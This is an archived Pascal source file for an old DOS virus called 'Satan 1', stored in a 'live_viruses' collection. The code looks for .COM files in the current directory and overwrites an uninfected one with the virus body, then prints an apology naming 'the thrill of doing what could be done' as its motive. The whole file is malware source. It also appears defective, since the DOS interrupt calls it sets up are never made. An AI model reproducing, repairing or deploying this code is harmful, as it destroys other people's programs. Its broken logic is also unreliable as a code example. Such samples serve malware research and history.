home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / satan.pas < prev    next >
Pascal/Delphi Source File  |  1992-03-15  |  2KB  |  80 lines

  1. {C-}
  2. {U-}
  3. {I-}
  4. Const
  5.   VirusSize=12027;
  6.   Warning:String[42]='This File Has Been Infrected By Satan 1!';
  7. Type
  8.   DtaRec=Record
  9.   Dosnext:Array[1..21] of Byte;
  10.            Attr:Byte;
  11.            FTime,
  12.            FDate,
  13.            FlSize,
  14.            Fhsize:integer;
  15.            FullName:Array[1..13] of Char;
  16.           End;
  17. Registers=Record
  18.   Case Byte of
  19.     1:(AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags:Integer);
  20.     2:(AL,AH,BL,BH,CL,CH,DL,DH:Byte);
  21.   End;
  22. Var
  23.   ProgramStart:Byte;
  24.   MarkInfected:String[42];
  25.   Reg:Registers;
  26.   Dta:DtaRec;
  27.   Buffer:array[Byte]of Byte;
  28.   TestId:string[42];
  29.   UsePath:String[66];
  30.   UsePathLenght:Byte absolute UsePath;
  31.   Go:File;
  32.   B:Byte;
  33.  
  34. Begin
  35.  Writeln(Warning);
  36.  GetDir(0,UsePath);
  37.  If Pos('\',UsePath)<>UsePathLenght then
  38.    USePath:=UsePath+'*.Com';
  39.    Reg.Ah:=$1a;
  40.    Reg.Ds:=Seg(Dta);
  41.    Reg.Dx:=Ofs(Dta);
  42.    Usepath[Succ(UsePathLenght)]:=#0;
  43.    Reg.Ah:=$4E;
  44.    Reg.Ds:=Seg(UsePath);
  45.    Reg.Dx:=Ofs(UsePath[1]);
  46.    Reg.Cx:=$ff;
  47.    If not odd(Reg.Flags) Then
  48.      Repeat
  49.        UsePath:=DTA.FullName;
  50.        B:=Pos(#0,UsePath);
  51.        If B>0 then
  52.        Delete(UsePath, B, 255);
  53.        Assign(Go, UsePath);
  54.        Reset(Go);
  55.        If IOresult=0 Then
  56.          Begin
  57.            BlockRead(Go, Buffer, 2);
  58.            Move(Buffer[$80],TestID, 43);
  59.            If TestID<>Warning Then
  60.             Begin
  61.               Seek(Go,0);
  62.               markInfected:=Warning;
  63.               BlockWrite(Go,ProgramStart,Succ(VirusSize));
  64.               Close(go);
  65.               Writeln(UsePath + 'Infected.');
  66.               halt;
  67.             End;
  68.            Close(Go);
  69.         End;
  70.          Reg.Ah:=$4f;
  71.          Reg.DS:=Seg(Dta);
  72.          Reg.Dx:=Ofs(Dta);
  73.         Until Odd(Reg.Flags);
  74.      Write('<Smile>');
  75.      Writeln('I have been elected to tell you that the cure to the virus is');
  76.      Writeln('simple.. Buy or rather tell someone to get you a McFa scanner');
  77.      Writeln('8.4 or Higher to get rid of this menace.. I apligise for the inconvinience');
  78.      Writeln('and I hope you will forgive me.. The thrill of doing what could');
  79.      Writeln('be done has motivated me to create this menace.. FORGIVE ME!');
  80.     End.